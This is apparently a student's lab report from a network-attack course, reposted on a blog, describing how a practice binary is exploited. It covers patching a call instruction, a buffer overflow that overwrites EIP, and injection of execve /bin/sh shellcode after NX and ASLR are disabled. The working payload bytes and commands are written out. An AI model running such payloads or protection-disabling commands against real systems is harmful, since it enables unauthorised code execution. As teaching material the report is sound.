2017-2018-2 20155230《网络对抗技术》实验1:PC平台逆向破解(5)M

本文详细介绍了一种通过修改程序机器指令、构造输入参数和注入Shellcode来改变程序执行流程的实验过程。实验包括直接修改指令、利用缓冲区溢出(BOF)攻击以及注入并执行Shellcode三个部分。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、直接修改程序机器指令,改变程序执行流程

2、通过构造输入参数,造成BOF攻击,改变程序执行流

3、注入Shellcode并执行

4、实验感想

注:因为截图是全屏所以右键图片在新的标签页打开观看更加。实验开始前可以使用cp pwn1 -p pwn2复制一个文件,不然做完第一步实验还要把文件改回去才能继续做后面的部分。

NOP汇编指令的机器码是"90"
JNE汇编指令的机器码是"75"
JE 汇编指令的机器码是"74"
JMP汇编指令的机器码是"eb"
CMP汇编指令的机器码是"39"


1、直接修改程序机器指令,改变程序执行流程

  • 首先使用objdump -d pwn1将pwn1程序进行反汇编
    1071497-20180318192338341-751063234.png

  • 看见了main函数中的call(跳转)指令,通过计算foo函数与getshell函数的地址偏移量差值,知道了只需要将d7 ff ff ff中的d7改为c3即可。
    1、先用vi pwn1命令准备编辑
    2、按下Esc输入:%!xxd将图中乱码转为16进制显示
    3、输入/d7ff找到需要修改的地方,并修改
    4、输入:%!xxd -r转为原格式(否则无法运行),并保存退出
    1071497-20180318193606115-1545660216.png


2、通过构造输入参数,造成BOF攻击,改变程序执行流程

1、使用gdb调试pwn1
2、输入11111111122222222333333334444444455555555通过寄存器eip(用来存储CPU将要读取指令的地址)知道在数字5处开始报错
3、再次输入11111111122222222333333334444444412345678确定具体位置
1071497-20180318195523961-1887648733.png

4、知道了1234这4个数会覆盖eip寄存器
5、将这4个字符换为getshell的内存地址(图1中有),输入11111111222222223333333344444444\x7d\x84\x04\x08
1071497-20180318195826942-1173737763.png


3、 注入Shellcode并执行

1、需要修改以下设置

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

2、初步注入shellcode(结构为retaddr+nops+shellcode),输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
3、使用ps -ef | grep pwn1查看pwn1的进程号
1071497-20180318200859545-1759654298.png

4、使用gdb调试,查看buf的内存地址并使用break *0x080484ae设置断点,按c运行然后再正在运行pwn1的终端敲回车,回到gdb使用info r sep查看地址
5、使用x/16x 0xffffd33c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。
使用x/16x 0xffffd33c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。
6、将之前的\x4\x3\x2\x1改为这个地址即可
1071497-20180318201403043-1546755320.png

1071497-20180318201417836-394550003.png


实验感想

又有了打开新世界大门的感觉。也是第一次感觉到能看懂汇编指令非常重要。这次的实验总体都很简单,老师上课也都一步一步讲过了,指导书也把步骤写的很详细(我没跳进坑里哈哈哈),这门课也才等于刚开始,好好加油吧!

转载于:https://www.cnblogs.com/J1n233/p/8596922.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值